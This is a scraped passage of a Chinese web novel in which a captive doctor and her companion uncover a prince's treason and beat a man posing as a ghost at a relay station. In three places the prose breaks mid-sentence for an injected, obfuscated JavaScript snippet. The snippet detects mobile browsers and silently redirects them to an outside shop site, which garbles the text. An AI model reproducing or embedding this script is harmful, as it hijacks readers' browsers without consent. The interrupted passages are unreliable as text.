宁玉瑶轻轻应了一声,没再多说。事已至此,只能随机应变。好在朱占行有求于她,她暂时不会有危险,只是不清楚朱占行真正想让她医治的人是谁。 之后每日上午,宁玉瑶给玖跃治病,下午则替那五个百姓治疗。 等玖跃彻底痊愈,已是七月。 “熠哥哥,今日是否太过安静了。”宁玉瑶起床换好衣裳,问刚从外面回来的秦熠。 秦熠将热水放到一旁的架子上,拧干手帕递给宁玉瑶,才道:“今日司殿禁严。” 宁玉瑶洗漱干净,站在二楼窗前向外张望,往常每日都会来司殿祭拜神明的百姓都不见了踪影。 “我觉得有些不对,我们去看看。”宁玉瑶心中不安,带着秦熠大摇大摆地朝着司殿门口走去。 司殿的侍卫们看到他们,本想上前阻拦,但又知道宁玉瑶厉害,谁也不敢轻易招惹这个煞星。 秦熠反应极快,他满脸堆笑,讨好地对侍卫们说道:“各位大哥,我家主子在屋里闷久了,就想出来溜达溜达,你们放心,我们绝不乱跑。” 侍卫们对视一眼,将军说过只要能让这个女人消停点,就不必管她。 不过,有个侍卫严肃地指着司殿大门说:“上午大门不允许进出,你们别靠近那里。” “好的好的,多谢大哥。”秦熠点头哈腰,连连道谢。 宁玉瑶和秦熠慢悠悠地走到了与司殿大门有段距离的树荫下,冷眼观察着站在那里的人。 那几人穿着大宸服饰,从穿着和气质上很容易看出他们是大宸的兵士。这些兵士正在和朱占行交谈着什么,随后把一封信交给了朱占行。 由于距离较远,即便秦熠耳聪目明,也只能隐隐约约听到“大皇子”、“国师”、“尽快”等字眼。不过,仅仅这几个字就已经足够了。 宁玉瑶则听不到任何声音,但是看到大宸的兵士和苍荻的人私下互通消息,就让她怒不可遏。 她抬起头,见秦熠的脸上满是寒霜。她知道,身为大宸将士,一直为大宸出生入死的秦熠,对这些大宸兵士的行为更加愤怒。 那几位大宸兵士在启宁镇并未过多停留,确认玖跃健康地活着后,接上阮氏直接离开了。 等到大宸的车马完全消失不见,宁玉瑶拉着拳头紧握的秦熠往回走。 好在秦熠还没有被愤怒冲昏头脑,他还记得此时他们还在司殿之中,周围都是苍荻的侍卫。 他很快调整好了自己的情绪,看到迎面走来的巡逻侍卫,立刻殷勤地笑着和他们打着招呼。 等回到小楼,秦熠已经彻底冷静下来。 他把小楼四周又仔细检查了一遍,确认周围没有任何异常,才凑到宁玉瑶耳边轻声说道:“刚才那封信是大皇子给国师的。” 宁玉瑶一听这话,顿时大怒,“祁晖珉!他是吃了雄心豹子胆吗!” 先前大皇子谋害太子之事,虽令人憎恶,但还能解释为皇子间的争权夺利,野心作祟也勉强可以理解。而现在他身为大宸皇子,却私自与苍荻国师联系。 宁玉瑶即便再天真,也不可能觉得他们只是在友好通信,祁晖珉这种行为无疑是在通敌卖国。 只可惜他们没有证据,即便回到大宸,也不会有人相信他们的片面之词。 二人轻声商议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581818|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,但还未等他们想出应对之策,朱占行就派人来请宁玉瑶。 宁玉瑶跟着亲兵刚踏入书房,朱占行直截了当地说:“明日我要启程回国都,你跟我一起去。” 之前从附近州城搜罗来的五个患喘疾的病人,那些州城里的大夫都断言无法治好,可经宁玉瑶诊治后,他们的身体状况在逐渐好转。 朱占行意识到这个小丫头治好玖跃并非靠运气,而是确有几分真本事,才做了这个决定。 宁玉瑶心中虽早有预料,但她急着回大宸,此刻三分假七分真地跳起来嚷道:“小公子的病已经好了,那几个病人明天也只需最后一次针灸了,我的事都做完了,为什么还要我去国都!” 朱占行沉着脸问:“你当真不去?” 宁玉瑶果断拒绝:“我去国都又没什么好处,不去!” 朱占行看着眼前油盐不进的少女,这才想起她是个软硬不吃,只认钱的人。他闭眼深吸一口气说:“你只要跟我去国都治疗一个人,我就给你两千两银子。” 宁玉瑶不为所动,冷笑道:“呵,国都那么多名医都治不好的人,让我去?你是不是太高看我了?” 朱占行耐着性子说:“你就去试试,不会让你白跑。要是治好了,给你两千两,治不好也给你一千两。” 宁玉瑶仍有疑虑,问:“真有这么好的事?” 朱占行咬牙切齿道:“你就说去还是不去。” 宁玉瑶犹豫了一下说:“那你得先把我治疗小公子和那五个百姓的诊金给我,还要立个字据,我回去考虑一晚,明天给你答复。” 字据,字据,又是字据,朱占行心中恼怒,狠狠咬了咬后槽牙,但还是让人拿来一千五百两银票并写下字据交给她。 宁玉瑶收好银票和字据,将之前的字据还给朱占行,兴高采烈地离开了书房。 朱占行看着她欢快的背影,面露阴鸷,紧紧攥住字据,宣纸很快皱成一团。 就让你再高兴一会儿吧,可惜你有命赚没命花。 宁玉瑶没看到朱占行阴狠的表情,但被秦熠收入眼底。 秦熠心中嗤笑,想对玉瑶动手得先掂量掂量自己有没有那本事。自从进了司殿,玉瑶就把江老给她的毒药全都翻了出来,现在她浑身都是毒,谁碰谁死。 回到小楼,宁玉瑶轻声对秦熠说:“熠哥哥,你晚上去试试能不能把那封信偷出来,能偷出来我们就赶紧离开,不能的话我们就跟他去国都,在路上再想办法。” 秦熠点头应下。 然而到了晚上,秦熠还未靠近朱占行的院子,就看到院子里三层外三层,围满了侍卫,只得打道回府。 宁玉瑶惊讶地看着刚出门没多久就回来的秦熠,急忙问:“熠哥哥,怎么回事?” 秦熠无奈地说:“朱占行院外围满了人,混不进去。” 宁玉瑶皱起眉头说:“看来只能走一步看一步了。” 不过他们俩心中隐隐有预感,朱占行如此重视那封信,这趟行程恐怕不会顺利。 秦熠安慰道:“我们去国都也无碍,到时候看看能不能得到更多信息。” 既然事情无法改变,那就得想办法获取最大利益。 翌日天未破晓,宁玉瑶在朱占行亲兵的强请下登上马车。 侍卫们似乎怕宁玉瑶跑了,紧紧环绕在宁玉瑶的马车旁,马车缓缓前行,很快驶出启宁镇城门,一路朝西行去。 而大宸在东方,他们离大宸越来越远了。 宁玉瑶回头看了一眼渐渐远去的景色,似乎想透过青山重峦看到她日夜思念的大宸。 她的目光对上跟在马车后奔跑的秦熠,勉强扯出一抹笑容,坐回马车内,压下自己的万千思绪。 81.驿站 雁京。 苏德茂站在御书房前挡下求见承武帝的淑妃,“淑妃娘娘恕罪,陛下这会儿正忙着,实在不方便见您,娘娘您还是先回吧,莫要在这儿等得劳累了。” 淑妃面容憔悴,从身后的宫女手中端过一盏精致的羹碗,恳求道:“苏公公,烦请您再去问问陛下。这是本宫精心炖煮的金丝燕窝羹,想呈献陛下。” 苏德茂只是歉意地笑着,半步不让。 淑妃看着御书房门那威严的带刀侍卫,心中畏惧。她强忍住泪水,不敢硬闯,怕再度惹怒承武帝。 谢家全族被押入大理寺地牢后,一直未被释放。除了那几个被抓捕的刺客招供是受谢家指使外,并未查出其他证据,调查就此陷入了僵局。 然而,承武帝也一直未下令释放谢家,仿佛已经将此事遗忘。 淑妃忧心谢家,曾求见承武帝,欲为谢家求情。可她刚说出谢字,承武帝便拂袖而去。自那以后,承武帝再未踏入她寝宫半步,甚至连她数次求见都被拒之门外。 眼见今日再次求见无果,淑妃满心委屈不甘,却又无能为力,只能领着宫女离开。 转身时,恰好遇上了款款而来的皇后。 皇后身着一身锦绣凤袍,金丝绣线在阳光下熠熠生辉,凤冠上的珠翠随着她的走动轻轻摇晃,发出细微的叮当声。 淑妃连忙收敛心神,微微欠身,福了一福,恭敬道:“臣妾给皇后娘娘请安。” 皇后抬起下巴,淡淡地瞥了淑妃一眼,轻飘飘地说了句“免礼”,随后便不再看她,径直越过她,对苏德茂问道:“陛下可在?” 苏德茂脸上堆满了殷勤的笑容,连忙躬身谄媚回道:“陛下在呢,娘娘请。” 淑妃眼睁睁看着皇后畅通无阻地进了御书房,她心中不忿,一时失去理智,正欲高呼,就在这时,皇后忽然转身,那目光冷漠至极,如同一把冰冷的剑刺向淑妃。 这一眼让淑妃如遭雷击,僵在原地。她张了张嘴,想要说些什么,却发现喉咙像是被什么东西堵住了,一个字也说不出来。 祁晖珉得知母妃求见陛下受阻,匆忙赶过来。 当他抵达御书房外时,正好看见皇后满脸寒霜地转身走进御书房,紧接着那扇大门在淑妃面前重重关上,发出沉闷的声响。 祁晖珉见淑妃的身体摇摇欲坠,他心中一紧,急忙上前扶住淑妃:“母妃。” 淑妃听到儿子的声音,回头看见了祁晖珉,强忍的泪水在眼眶里打转。 祁晖珉赶紧轻声提醒道:“母妃,我们先回去。” 他强行搀扶着淑妃离开御书房。 淑妃哀切地回头,期盼地盯着御书房紧闭的大门,希望陛下能够回心转意。 可惜御书房离她越来越远,那扇大门再未打开过。 回到寝宫,淑妃压抑许久的眼泪再也止不住,她紧紧地拉着儿子的手,颤声道:“珉儿,你去找父皇求情,你舅舅自幼心地纯良,胆小怕事,绝对不可能做出如此大逆不道之事。” 祁晖珉扶着淑妃躺下,看着母妃满是泪水的憔悴面容,心疼地安抚道:“母妃您别急,我找父皇和太子求情。太子殿下宅心仁厚,想必会愿意帮忙的。” 说着他用力地握了握母亲的手,“放心吧母妃,舅舅不会有事的。” 等淑妃的情绪渐渐稳定下来,祁晖珉走出寝宫,问身边的小太监:“打听到太子的行踪了吗?” 小太监赶忙恭敬地回道:“启禀宣王殿下,太子殿下此刻在南书房检查五皇子的功课。” 祁晖珉颔首,抬步向南书房走去。 南书房的墙角里,祁晖珏皱着眉头训斥弟弟:“你都已经读了整整两年书了,你看看你写的这些东西,哪有一点皇子的样子。” 祁晖琅面对着墙壁,头抵在墙上,小声嘟囔:“阿姐就是这么教我写的……” 刚说完他意识到自己说错话了,稚嫩脸庞上满是惊慌,赶紧闭上嘴巴。他害怕地扭头看着神色黯淡的太子,赶忙认错:“皇兄,小五知道错了,以后一定好好写。” 祁晖珏看着弟弟惴惴不安的样子,嘴唇抿成一条直线,沉默片刻后冷冷道:“走吧,带上你这些鬼画符的字,给父皇看看你这两年学了什么。” 祁晖琅哭丧着脸,拿着宣纸不情不愿地跟在兄长身后,边走边拍嘴巴,懊恼自己多嘴。 自五月父皇让在掖州河沿岸搜寻的宁渊与秦柏回京复职,涑州军也停止搜寻并撤离后,皇兄就越发沉默寡言。只要提起阿姐,就会有人倒霉。 但是,祁晖琅也很想念那个带他满皇城胡闹的阿姐。 刚走到书房门口,他们迎面遇上祁晖珉。 祁晖珏停下脚步,淡淡地唤了声:“大皇兄。” 祁晖琅虽不情愿,但还是跟着打了声招呼:“大皇兄安好。” 祁晖珉拱手行礼,恭敬道:“见过太子殿下。” “大皇兄不必多礼,”祁晖珏本就因想念阿姐而烦闷,看见祁晖珉更是不耐,直接说道,“孤还有事,先走一步。” 祁晖珉连忙叫住他:“太子,请留步,我有一事相求,谢家……” 祁晖珏一听他提谢家,顿时怒气更甚,他直接打断祁晖珉未尽之言:“大皇兄拦住我就是为了替谢家求情?恕孤无能为力,此事由父皇亲自督办,谢家是否清白皆由父皇定夺。” 祁晖珉苦笑,知道今日不宜再提此事,只得岔开话题道:“我开府后太子还未去过,不知能否邀太子到我府上喝杯清茶?” 祁晖珏眼神锐利如刀,正要拒绝,祁晖琅拉着他的手说:“皇兄,我们还要找父皇呢,快走吧。” 祁晖珏不再和祁晖珉啰嗦,牵着祁晖琅离开了。 被他们留在原地的祁晖珉,袖中拳头紧握,面上却未表露分毫。 他心中暗恨,都怪那该死的宁玉瑶,上次在掖州要不是她顶替,祁晖珏必死无疑。 还有祁婧惠,明明自己和祁晖珏都是她的子侄,她却对自己毫不留情。 祁晖珉咬牙,宁玉瑶真是死有余辜,死无全尸是她应得的下场。 死无全尸的宁玉瑶此时正双手叉腰,中气十足地指着朱占行亲兵的鼻子破口大骂:“你家将军花了整整两千两银子请我去国都看诊,怎么说我也算是你家将军请来的尊贵客人了吧。你瞧瞧,现在是把我当成你们家的下人了吗?你以为你自己是个什么玩意儿?竟敢这样阳奉阴违,公然违抗听从你家将军的命令?” 今日他们一路跋涉,早已疲惫不堪。直到晚上抵达驿站,宁玉瑶满心想着能够在驿站好好地休息一晚。 可朱占行的亲兵却告诉她,驿站的房间实在太少,让宁玉瑶和朱占行的婢女们挤通铺,秦熠则是被安排睡马厩边的柴房。 宁玉瑶一听这话,登时火冒三丈,她可咽不下这口气,当场胡搅蛮缠大闹起来,直接给那亲兵扣上了一口大大的黑锅。 这突如其来的一口黑锅砸下来,那亲兵顿时冷汗淋漓。要是将军听到了这些话,真以为自己违抗命令,那可就吃不了兜着走了。 他赶紧解释道:“丁大夫,您消消气。这真不是故意如此安排,实在是这驿站已经住满了人,没有多余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591897|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的房间了。您看这样,您稍微等一会儿,我这就马上想办法给您腾一间房出来。” 听到亲兵这么说,宁玉瑶的脸色这才稍微缓和一些,她鼻子里“嗯”了一声,不耐烦地说道:“那还不快去!” 亲兵不敢耽搁,赶紧找到驿站的管事,经过一番周折,总算是翻出一间屋子。 这间屋子面积不小,但是仔细观察,可以看出这间屋子已经许久没有被使用过了。 房间里十分昏暗,墙壁上有着一道道灼烧过的黑色痕迹。好在床褥都是新换的,而且这间屋子距离其他的房间较远,周围十分安静。 宁玉瑶走进屋子,四处打量了一番,心中虽然依旧不满,但驿站实在太小,只得道:“罢了,就这吧。” 亲兵忙道:“丁大夫好好休息。”话音未落就迅速退了出去,生怕宁玉瑶一个不高兴又逮着他骂。 关上房门,秦熠走到那漆黑的墙壁旁边,伸手轻轻敲了敲,嘴角带着一抹淡淡的笑意,“能找到这么一个凶宅,他们也真是不容易。” 以秦熠的眼力一看就知道这间屋子曾经发生过火灾,甚至还烧死过人,他走过来,搂住宁玉瑶,“玉瑶怕吗?” 见过这世上最可怕的烈火的宁玉瑶,这样的小场面自然是吓不倒她。她一脸不屑,“就这么点小玩意儿还想吓唬我,他们也太看不起我了。再说了,有你这尊煞气冲天的杀神在我身边,什么样的牛鬼蛇神敢靠近我?” 心上人的信赖让秦熠很是受用,他在宁玉瑶的脸上蹭了蹭,才放开她,说道:“你先歇着吧,我去给你打些热水来。” 宁玉瑶看着秦熠换上一副疲惫不堪的模样打开房门。 这次朱占行返回国都仅带了三辆马车,其中最大的那辆马车朱占行带着玖跃乘坐,另外两辆马车,一辆专门用来装载行李,另一辆则是供婢女们乘坐。 宁玉瑶与朱占行的婢女们共乘一辆马车,而秦熠则在外面跟着马车跑了一路。 今日马车上的婢女们看到秦熠在外辛苦奔跑的样子,心中都有些不忍。 甚至有婢女忍不住问神色自若的宁玉瑶:“丁大夫,你的药仆在外面跑了这么久,你就不担心吗?” 宁玉瑶随意地瞥了一眼车外看似气喘吁吁,其实是在瞎喘的秦熠,满不在乎地说:“担心他做什么?不过就是跑两步罢了,又不会死。” 秦熠在行军的时候,每天奔袭的速度比现在快得多,而且路程也更远,如今跑这么几步,顶多就算是给他热个身罢了。 听到宁玉瑶如此不当回事的话,车内的婢女们面面相觑,默默往旁边挪了挪,离她远远的。 她们早就听说丁大夫不把身边的药仆当人看,每天非打即骂,没想到她的心肠竟然这么硬。 片刻后,秦熠踉跄着端着热水回来,仿佛真的已经累到了极致。 宁玉瑶洗漱完,看着明明精神奕奕却装成累得快虚脱模样的秦熠,伸手拽着秦熠的耳朵,佯怒道:“今天在马车上,那几个丫鬟都把我当成十恶不赦的大恶人了。” 秦熠坐到床边,把她捞进怀里,笑嘻嘻地在她脸上拱了拱,说道:“玉瑶对我最好了,怎么会是恶人呢。” 宁玉瑶被他的胡茬扎得笑出声,使劲地推了推他的脸,轻声问:“朱占行那边如何?” 秦熠刚才出去端热水的时候,趁机将朱占行那边的情况查探了一番。他低声说道:“朱占行身边的人太多了,轻易无法靠近。” 这点他们心中早已有数,没太过于沮丧。宁玉瑶点了点头,“那就稍安勿躁,等到了国都再见机行事。” 82.闹鬼 【预警:虽然我觉得自己的笔力不够,写不出恐怖的感觉,不过胆小的宝子前两页跳过吧。】 天空中,一轮惨白的月亮悬挂着,那月光亮得近乎诡异。 今夜的驿站安静得十分诡异,一丝声响都没有。就连驿站中平日里凶狠的恶犬,也静静地趴在窝中,一动也不动。 月光将树木的影子投射在小屋被烧得漆黑的墙壁上。那些树木像是被恶灵附了身,明明没有一丝风,却疯狂地摇曳着,枝丫碰撞发出令人胆寒的嘎吱声。重重树影犹如一群从地狱深处爬出来的恶鬼,张牙爪舞地舞动着。 “吱呀——” 破旧小屋的木门,突然缓缓打开,一道身影从门外飘了进来。 它的头发如杂乱水草般披散着,几乎遮住了整个面庞。身上松松垮垮地披着一件白袍,袍子上布满了干涸的血迹以及被火烧过的焦痕。 白袍鬼影没有双脚,它的身体悬空,木门开启时带起微风让衣角轻轻飘动。 鬼影的身体在黑暗中若隐若现,它从床下沉睡着的男人身上飘过,停在床幔边。 白袍下伸出两只黑色的爪子,悄悄朝着床幔伸去。 这时地上的男人猛地睁开双眼,幽暗的月色下,他发现了身旁恐怖的白袍鬼影。男人的脸色瞬间变得惨白,他用尽全身的力气惊叫一声:“有鬼啊!” 床上的人被这喊叫声吵醒,怒骂道:“想挨揍了是不是!大半夜的喊什么喊!” 随着叫骂声,床幔被一把掀开,宁玉瑶骂骂咧咧地和白袍鬼影被头发遮得严严实实的脸正面相对。 鬼影似乎也没有料到会出现这样的情况,明显地顿了一下。 下一瞬,它喉咙里发出了一声低吼,杂乱的头发如被狂风吹开般向两边散开,一张血盆大口赫然出现在眼前。 宁玉瑶被眼前这恐怖的一幕吓得倒吸一口凉气,极度的惊恐下,她下意识地使出全身的力气一脚踹了过去,结结实实地踹在了鬼影的身上。 鬼影被踹得往后退了几步,差点摔倒。 躺在地上的秦熠已经被恐惧完全占据了心神,他的脑海里一片混乱,只觉得那鬼影马上就要砸到自己身上了。 他连滚带爬地翻身起来,哭喊着像一只无头苍蝇般在地上乱爬。慌乱之中,他竟然直直地撞到了那还没站稳的鬼影身上。 鬼影被这突如其来的撞击撞得失去了平衡,“扑通”一声重重地摔倒在了地上。 秦熠还在满地乱爬,横冲直撞地碾过鬼影欲爬起身的双腿,将鬼影重新压趴在地。 鬼影扭头对秦熠露出獠牙,威胁般地低吼一声。 秦熠的哭声更大了,宁玉瑶怒斥一声:“哭丧呢!”她从床上跃下,一屁股坐到了鬼影的背上。 鬼影不肯就范,拼命挣扎。 宁玉瑶眼疾手快抓住鬼影乱麻般的头发,将它的头往地上狠狠一砸。 鬼影只觉脑子“嗡”的一声,剧痛袭来。殷红的鲜血顺着被砸之处缓缓流到地上,它的力气仿佛被抽走,挣扎的力道顿时减轻许多。 宁玉瑶并未停手,她迅速掏出一根细长银针,扎进鬼影后颈部的风府穴,它瞬间浑身发麻,再也无法动弹。 鬼影满头乱发遮挡了视线,没看到秦熠一边嚎哭,一边单手将坐在它身上的宁玉瑶捞起,另一只手迅速把旁边的板凳架在它身上,再把宁玉瑶放到板凳上坐好。 秦熠做完这些,像受惊的兔子般滚到墙角继续哭嚎。 他动作极快,头昏脑涨的鬼影丝毫没有察觉。 宁玉瑶坐在板凳上,撩开白袍的下摆,瞬间明白,这哪是什么无脚鬼,分明是个踩着高跷的人,只是高跷被涂成墨色,在这昏暗夜色中难以发现。 她冷笑一声:“装神弄鬼!”转头朝角落里还在哭的秦熠大声喝道:“别哭了,这是人,不是鬼,把我的针拿来。” 秦熠被宁玉瑶这一喝吓得浑身一抖,赶忙手脚并用地爬到床边,从床上的竹匣中取出她的针包,诚惶诚恐地跪在一旁,将打开的针包举到宁玉瑶面前。 宁玉瑶从针包中取出一把银针,狠狠地朝那装神弄鬼之人身上扎去。 “啊!” 一声凄厉的惨叫在驿站响起,将睡梦中的人吵醒。 那些被吵醒的人正怀疑自己是否听错时,又一声惨叫响起:“救命啊!” 驿站中的人们迅速起身,手忙脚乱地穿好衣裳,打开房门。 他们站在门口,惊恐地四处张望,试图找到惨叫声的来处。 “啊!” 惨叫声一声接着一声,一声比一声凄厉。 胆小的婢女们哆哆嗦嗦地聚在一起,窃窃私语:“这是怎么了?这声音怎么这么吓人。” “听这声音,好像是从丁大夫住的那边传过来的,难道是丁大夫出事了?” 一个婢女压低声音,神秘地说:“听说丁大夫住的那间屋子之前着过一场大火,里面还烧死过人呢。后来不管谁住进去,都能在半夜里听到隐隐约约的哭声。” 其他婢女们闻言,顿时浑身一抖,仿佛有一股寒意从脚底直窜到头顶。 一名婢女惊恐地说道:“难道说丁大夫是撞到鬼了……” 她的话还没说完,就被旁边的婢女打断,“别……别说了……” 外面的亲兵和侍卫们迅速穿戴整齐,提着灯笼快步朝不断发出那凄厉惨叫的小屋奔去。 等他们赶到小屋前,几个驿卒正畏畏缩缩地在门口探头探脑。他们满脸恐惧,不敢迈进小屋一步。 朱占行的一名亲兵走上前去,示意驿卒退下。驿卒们如获大赦,忙不迭地转身跑开。 小屋的木门大敞着,亲兵们小心翼翼地走进屋内,只见里面一片狼藉,原本摆在正中间的四方桌已经被撞到了墙角。 床前的空地上趴着一个人,那人身上披着一件白袍,头发将他的脸遮挡得严严实实,看不清他的真面目。他的两只胳膊被一个长条板凳紧紧卡住,动弹不得。 丁大夫稳稳地坐在板凳上,屋内光线昏暗,看不清她低着头在做些什么。只是她的身体每动一下,地上的人就会发出一声令人毛骨悚然的惨叫。 她身旁跪着药仆易禾,他高高举着一包东西,身体因为恐惧而瑟瑟发抖。每当地上的白袍人发出一声惨叫,他就会被吓得浑身一抖。 “丁大夫……”那名亲兵举着灯笼,慢慢靠近宁玉瑶。 宁玉瑶听到声音,缓缓回头看向来人。她的脸上带着一抹诡异的微笑,手上动作未停。只见她用力一扯,一把银针从地上那人的身体里扯了出来。 银针在昏暗的烛光下闪烁着冷冽的光芒,针尖上还挂着几滴鲜红的血珠,一滴滴往下滴落。 她轻声问:“有事吗?” 亲兵还是头一回听到宁玉瑶这般温和的声音,可不知为何,莫名地有些渗人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603251|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他咬咬牙,壮着胆子问:“丁大夫,这是怎么回事?” 宁玉瑶如梦初醒般“哦”了一声,接着又毫不犹豫地将手中一把七寸长针扎进了白袍人的身体里。 满意地听到一声惨叫后,她才笑眯眯地说:“不知道哪儿冒出来的小鬼,大半夜的不睡觉,到处乱跑,扰人清梦。我不高兴,就只好教训教训他了。” 门口的侍卫们看着屋子里面那个面带微笑,却一刻不停地在扎针的少女,不禁咽了口唾沫。此时,他们觉得少女脸上的祷文不再是神明的祝福,而是一道催命的鬼符。 亲兵听着耳边的惨叫声,微微一顿,随后轻声对宁玉瑶说:“丁大夫,夜已深了,不如把这个人交给我们处置,您也可以好好休息。” 扎了半天的针,宁玉瑶确实感到有些疲惫了。她随手扔掉了手中那把染满鲜血的银针,狠狠地拍了一下跪在地上的秦熠,骂道:“没用的东西,还不快扶我起来。” 秦熠哆哆嗦嗦地放下针包,急忙扶着宁玉瑶站起来。 宁玉瑶走到一旁,对着亲兵扬了扬下巴,“拖走吧。” 亲兵连忙招呼着侍卫们进来,七手八脚地将地上的人拖走了。随后,他毕恭毕敬地对宁玉瑶告退:“丁大夫,人我带走了,就不打扰您了。” 宁玉瑶面无表情地应了一声。 亲兵带着侍卫们逃离般迅速退出小屋。 直到他们走到离小屋较远的一处空旷之地。为首的亲兵脸色阴沉得仿佛能滴下水来,他猛地转身,一巴掌狠狠地抽在了白袍人的脸上。 他压低声音质问:“谁让你擅自行动的?” 满脸血污的白袍人痛苦地抬起头,嘴巴一张一合,似乎想要解释。可刚开口,一口鲜血喷涌而出,鲜血中还夹杂着几颗断牙。 亲兵看着他的模样,心中的怒火并未减少,冷冷地说:“省点力跟将军解释吧。” 随后愤怒转身,带着众人朝朱占行的房间快步走去。 朱占行的房间里已经燃起烛灯,微弱的灯光从窗户的缝隙中透了出来。 亲兵上前轻轻地叩响房门,“将军,锦伍求见。” “进来。” 锦伍推开房门,带着众人鱼贯而入。 朱占行披着外裳,静静地坐在八仙桌旁。他的目光深沉地看向被侍卫们架着跪在他面前的白袍人,不悦地问:“怎么回事?” 锦伍上前一步,躬身回道:“启禀将军,锦廿今晚去丁玉房中装神弄鬼,被丁玉反擒。这才弄出了这么大的动静,惊扰了将军。” 朱占行垂下眼眸,望着面前看不出人样的锦廿,眼中闪过一丝厌恶,一脚将他踹翻在地,“废物!” 锦廿见朱占行动怒,心中恐惧,连忙手脚并用地爬起来,口齿不清地求饶,“将军恕罪,奴才只是不忿一个贱民在您面前如此嚣张,才想着吓唬她一番,奴才绝无异心啊,将军!” 朱占行心里也清楚锦廿没有异心,但擅自行动乃是军中的大忌。而且被一个女子打成这样,传出去他颜面何存? 他脸色愈发阴沉,沉声道:“拖下去。” 锦廿听到这冰冷命令,顿时慌张起来,大声地喊道:“将军饶命啊……唔……”话未喊完,就被侍卫捂住嘴拖出房门。 之后再无半点声响,驿站里房间的烛火渐渐熄灭。 驿站重归平静,仿佛刚才的一切都只是一场噩梦。 83.畏惧 小屋内,宁玉瑶和秦熠躺在床上,乐不可支。 他们早已识破了装鬼之人的身份,他还未靠近他们的屋子,便被秦熠察觉。 既然有人主动送上门来找死,他们自然不会放过。不过没想到那人如此废物,秦熠只是在地上随意划拉两下,就将他轻松绊倒。 笑了好一阵后,宁玉瑶敛起笑容,侧过身轻声问秦熠:“熠哥哥,他们没起疑吧?” 毕竟在其他人眼中,他俩可是实打实的废物,如今却能把一个亲兵修理得那般狼狈,确实有些不合常理。 秦熠轻松回答:“放心吧,刚才我跟过去看了,他们都以为那人是天黑加上高跷不稳的缘故才摔倒的,没人怀疑我们。” 宁玉瑶撇撇嘴,满脸不屑地说:“不愧是草包将军,身边的奴才也都是一群草包。” 秦熠深感赞同,这事要是落在他们长辈的手里,绝不会有什么巧合,不掘地三尺绝不罢休。 他抬起头,看了看窗外高悬的月亮,银色的月光如轻纱透过窗户洒在地面上。伸手将宁玉瑶搂进怀里,轻声道:“时候不早了,快睡吧,明天还要赶路呢。” 宁玉瑶折腾了一整晚,确实也有些疲惫。她乖乖地窝在秦熠的怀中,很快进入了梦乡。 翌日清晨,宁玉瑶刚走进驿站大堂,就对上了众人敬畏的眼神,她向来不是个怕事的主,直接狠狠瞪了回去。 她前一晚的丰功壮举已经在传遍了整个驿站,众人本就对她忌惮,现在更是不敢轻易招惹,在她的瞪视之下,赶紧收回视线,装作若无其事地各自忙碌着。 宁玉瑶寻了张空桌坐下,轻轻敲了敲桌面,“咚咚”声在大堂回响。然而角落里的几名驿卒推推搡搡,半天没人敢上前。 见此情形,宁玉瑶加重了敲桌子的力度。驿卒们无奈,把一个瘦瘦小小的年轻人推了出来。 那年轻人脸色苍白,额头渗着细密汗珠,哆哆嗦嗦地走到宁玉瑶跟前,“请……请问您有……有何吩咐?” 宁玉瑶眼皮都没抬,对着桌子扬扬下巴,“拿着吃的来。” “哦!哦!马上就来。”年轻驿卒说完像逃命似的奔向后厨。 不一会儿,他端着托盘出来了,上面有一碗热气腾腾的米粥、三个硕大的炊饼以及半只烧鸡。 他略显局促地说:“您先吃着,不够我再去拿。” 宁玉瑶看着比她脸还大的炊饼,顿了一下,然后挥挥手:“够了,你下去吧。” 驿卒一听这话,赶紧转身就跑,仿佛身后有恶鬼追赶他。 宁玉瑶坐在桌前,看着面前的炊饼有些犯难。尽管这段时间她的胃口比以前好上不少,可这般大的炊饼,她也只吃掉了小半个而已。至于那半只烧鸡,她顶多啃完一个鸡腿,再喝了半碗粥,就已经饱了。 剩下的自然全进了秦熠的肚里。 不远处,婢女和侍卫们正羡慕地看着秦熠啃烧鸡,小声嘀咕着:“虽然易禾经常挨打,但吃得可真好。”” “是啊,他一直跟着丁大夫,丁大夫吃什么,他就能吃什么,就算挨打也值了。” 虽然吃的都是丁大夫剩下的东西,但他们以往在府上,主子们剩下的吃食宁可扔了也不会给下人们吃,而秦熠却总能吃到好东西。 秦熠听到了他们的谈论,故意做出一副谄媚的模样,对宁玉瑶调侃道:“谢主子赏赐。” 宁玉瑶被他这奇怪的样子弄得莫名其妙,不明白他又在搞什么鬼,抬手就在他的后脑勺拍了一巴掌,说道:“好好吃你的东西。” 用过早膳,朱占行便下令启程。 经过驿站的狗舍时,狗舍中的狗依旧无精打采地趴在地上,狗舍不远处有一块骨头。 